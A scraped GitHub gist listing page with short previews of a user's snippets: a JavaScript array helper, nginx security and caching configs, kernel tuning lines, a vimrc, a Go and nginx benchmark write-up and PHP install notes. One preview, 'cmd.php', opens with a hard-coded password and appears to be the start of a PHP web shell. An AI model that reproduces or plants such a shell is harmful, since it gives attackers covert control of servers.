Skip to content

Instantly share code, notes, and snippets.

@Springshen
Springshen / delete_array_element.js
Created December 21, 2018 05:30
JS 删除数组指定元素
//查找指定元素的索引
function arrIndex(val,arr){
for (var i = 0; i < arr.length; i++) {
if (arr[i] == val) return i;
}
return -1;
}
//删除索引元素
function removeCurEle(val,arr){
var index = arrIndex(val,arr);
@Springshen
Springshen / cmd.php
Created July 25, 2018 06:31
cmd.php
<?php
$password = "silic";//设置密码
error_reporting(E_ERROR);
header("content-Type: text/html; charset=gb2312");
set_time_limit(0);
function Root_GP(&$array)
{
@Springshen
Springshen / replace.html
Last active July 13, 2018 00:44
javascript replace web page text content
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
</head>
<body>
<div class="nav-bj" id="nav-bj">
<div class="nav" id="nav">
<ul style="width:1000px; margin:0 auto;">
@Springshen
Springshen / vimrc
Last active November 18, 2017 07:52
filetype on " 侦测文件类型
syntax on " 语法高亮
set autowrite " 自动保存
set nocompatible " 关闭vi兼容模式
set showmatch " 高亮显示匹配的括号
set cursorline " 突出显示当前行
set number " 显示行号
set history=1000 " 历史记录数
set ignorecase " 搜索忽略大小写
set hlsearch " 高亮被搜索的句子
@Springshen
Springshen / nginx.conf
Created July 23, 2016 10:09 — forked from plentz/nginx.conf
Best nginx configuration for improved security(and performance). Complete blog post here http://tautt.com/best-nginx-configuration-for-security/
# to generate your dhparam.pem file, run in the terminal
openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048
# sets the proxy cache path location, max size 2g
proxy_cache_path /data/nginx/cache levels=1:2 keys_zone=STATIC:100m inactive=24h max_size=2g;
# transfers the `Host` header to the backend
proxy_set_header Host $host;
# uses the defined STATIC cache zone
proxy_cache STATIC;
# cache 200 10 minutes, 404 1 minute, others status codes not cached
@Springshen
Springshen / gist:3c409265ae315bbaeb8feef0e88a4b4e
Created July 23, 2016 10:09 — forked from perusio/gist:2154235
High performance tuning of Nginx
## From a post on the ML, apropos this:
## http://lowlatencyweb.wordpress.com/2012/03/20/500000-requestssec-modern-http-servers-are-fast.
## For sysctl.conf
net.ipv4.tcp_slow_start_after_idle = 0
echo "2048 64512" > /proc/sys/net/ipv4/ip_local_port_range
echo "1" > /proc/sys/net/ipv4/tcp_tw_recycle
echo "1" > /proc/sys/net/ipv4/tcp_tw_reuse
@Springshen
Springshen / benchmark+go+nginx.md
Created July 23, 2016 10:09 — forked from hgfischer/benchmark+go+nginx.md
Benchmarking Nginx with Go

Benchmarking Nginx with Go

There are a lot of ways to serve a Go HTTP application. The best choices depend on each use case. Currently nginx looks to be the standard web server for every new project even though there are other great web servers as well. However, how much is the overhead of serving a Go application behind an nginx server? Do we need some nginx features (vhosts, load balancing, cache, etc) or can you serve directly from Go? If you need nginx, what is the fastest connection mechanism? This are the kind of questions I'm intended to answer here. The purpose of this benchmark is not to tell that Go is faster or slower than nginx. That would be stupid.

So, these are the different settings we are going to compare:

  • Go HTTP standalone (as the control group)
  • Nginx proxy to Go HTTP
  • Nginx fastcgi to Go TCP FastCGI
  • Nginx fastcgi to Go Unix Socket FastCGI
@Springshen
Springshen / cache.conf
Created July 23, 2016 09:28 — forked from ziadoz/cache.conf
PHP-FPM Nginx Website Configuration With FastCGI Caching
# Nginx FastCGI Cache: http://seravo.fi/2013/optimizing-web-server-performance-with-nginx-and-php
# More Caching: https://www.digitalocean.com/community/tutorials/how-to-setup-fastcgi-caching-with-nginx-on-your-vps
# Apache Bench Mac: http://kevify.com/2013/ab-on-mac/
fastcgi_cache_path /var/cache/nginx levels=1:2 keys_zone=MYAPP:100m inactive=60m;
fastcgi_cache_key "$scheme$request_method$host$request_uri";
server {
listen 80;

CentOS7 に PHP5.6 インストール

PHP5.6 インストール

$ sudo su

// 2016.07.16現在 epel-release-7-7
# rpm -Uvh http://ftp.iij.ad.jp/pub/linux/fedora/epel/7/x86_64/e/epel-release-7-7.noarch.rpm